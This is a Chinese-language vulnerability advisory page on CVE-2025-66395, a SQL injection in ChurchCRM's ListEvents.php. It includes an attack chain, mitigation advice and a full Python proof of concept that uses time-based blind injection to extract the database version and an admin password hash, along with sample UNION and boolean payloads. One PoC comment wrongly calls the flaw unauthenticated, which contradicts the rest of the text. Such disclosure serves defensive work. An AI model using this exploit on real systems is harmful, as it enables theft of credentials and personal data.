IPBUF安全漏洞报告
English
CVE-2025-66395 CVSS 8.8 高危

CVE-2025-66395 ChurchCRM SQL注入漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-66395
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRMCVE-2025-66395高危漏洞盲注攻击认证用户漏洞开源CMS教堂管理系统数据库注入Web安全

漏洞概述

ChurchCRM是一款开源教堂管理系统,在6.5.3版本之前存在严重的SQL注入漏洞。漏洞位于src/ListEvents.php文件中,当用户通过POST参数WhichType过滤事件类型时,该参数未经过充分的清理和类型转换就直接拼接到SQL查询语句中。由于任何已认证用户都可以触发此漏洞,且无需特殊权限要求,攻击者可以利用这一缺陷执行任意SQL命令,包括基于时间的盲注攻击,从而窃取、修改或删除数据库中的敏感信息,如用户凭证、财务数据和个人信息。漏洞的CVSS评分为8.8,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。攻击者通过构造恶意POST请求即可实现数据库注入,可能导致整个应用数据被完全控制。

技术细节

漏洞根源在于src/ListEvents.php文件中对用户输入处理不当。当过滤事件类型时,程序直接接收POST请求中的WhichType参数,并将其用于SQL查询语句中,而没有进行参数化查询或输入验证。攻击者可以构造如下恶意Payload:WhichType=1 AND (SELECT CASE WHEN (条件) THEN SLEEP(5) ELSE 0 END),利用时间延迟判断条件真假,实现盲注攻击。由于参数未经过int类型转换,攻击者可以注入任意SQL语句片段。攻击者可以联合查询获取数据库表结构,通过UNION SELECT语句枚举数据库内容,最终提取管理员账号密码哈希或其他敏感数据。漏洞影响所有已认证用户,低权限用户即可完成攻击,无需管理员权限,大大降低了攻击门槛。修复方案采用参数化查询或强制类型转换,确保用户输入不会被解释为SQL代码。

攻击链分析

STEP 1
步骤1
攻击者访问ChurchCRM系统并使用有效账号登录(任何权限级别均可)
STEP 2
步骤2
攻击者构造恶意POST请求,访问src/ListEvents.php文件,在WhichType参数中注入SQL语句
STEP 3
步骤3
服务器将未过滤的用户输入直接拼接到SQL查询中,执行恶意SQL代码
STEP 4
步骤4
攻击者利用时间盲注或联合查询等技术,逐步提取数据库中的敏感信息
STEP 5
步骤5
攻击者获取管理员凭证、财务数据或个人隐私信息,实现数据窃取或完全接管系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2025-66395 ChurchCRM SQL Injection PoC # Target: ChurchCRM < 6.5.3 # Vulnerability: Unauthenticated SQL injection via WhichType parameter in src/ListEvents.php target_url = "http://target-server/churchrm/src/ListEvents.php" login_url = "http://target-server/churchrm/src/Login.php" # Step 1: Authenticate with valid credentials session = requests.Session() login_data = { "UserBoxEntry": "[email protected]", "Password": "password123" } session.post(login_url, data=login_data) # Step 2: Test basic SQL injection with time-based blind technique def test_sql_injection(session, payload, expected_delay=5): """Test SQL injection with time-based blind technique""" start_time = time.time() data = { "WhichType": payload, "FilterName": "", "Mode": "Past" } response = session.post(target_url, data=data, timeout=30) elapsed = time.time() - start_time return elapsed >= expected_delay # Step 3: Extract database version using blind SQL injection def extract_db_version(session): """Extract database version via time-based blind SQL injection""" version = "" charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._-" for pos in range(1, 50): found = False for char in charset: payload = f"1 AND (SELECT CASE WHEN (SUBSTRING(@@version,{pos},1)='{char}') THEN SLEEP(3) ELSE 0 END)" if test_sql_injection(session, payload, expected_delay=3): version += char found = True print(f"[+] Position {pos}: {char}") break if not found: break return version # Step 4: Extract admin credentials def extract_admin_hash(session): """Extract admin password hash from user table""" hash_value = "" charset = "0123456789ABCDEFabcdef" for pos in range(1, 65): for char in charset: payload = f"1 AND (SELECT CASE WHEN (SUBSTRING((SELECT password FROM user_perms WHERE id=1),{pos},1)='{char}') THEN SLEEP(3) ELSE 0 END)" if test_sql_injection(session, payload, expected_delay=3): hash_value += char print(f"[*] Extracting hash position {pos}: {char}") break return hash_value # Example payloads for manual testing: # Time-based blind: WhichType=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a) # Union-based: WhichType=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- # Boolean-based: WhichType=1 AND 1=1 print("[*] CVE-2025-66395 ChurchCRM SQL Injection PoC") print("[*] Target: ChurchCRM < 6.5.3") print("[*] Testing authenticated SQL injection via WhichType parameter")

影响范围

ChurchCRM < 6.5.3

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制src/ListEvents.php的访问权限,仅允许管理员访问;2)在Web应用层实现参数过滤,禁止WhichType参数包含非数字字符;3)启用数据库审计日志,监控异常SQL查询行为;4)对关键数据表实施额外的访问控制策略;5)考虑暂时禁用事件过滤功能,直至完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表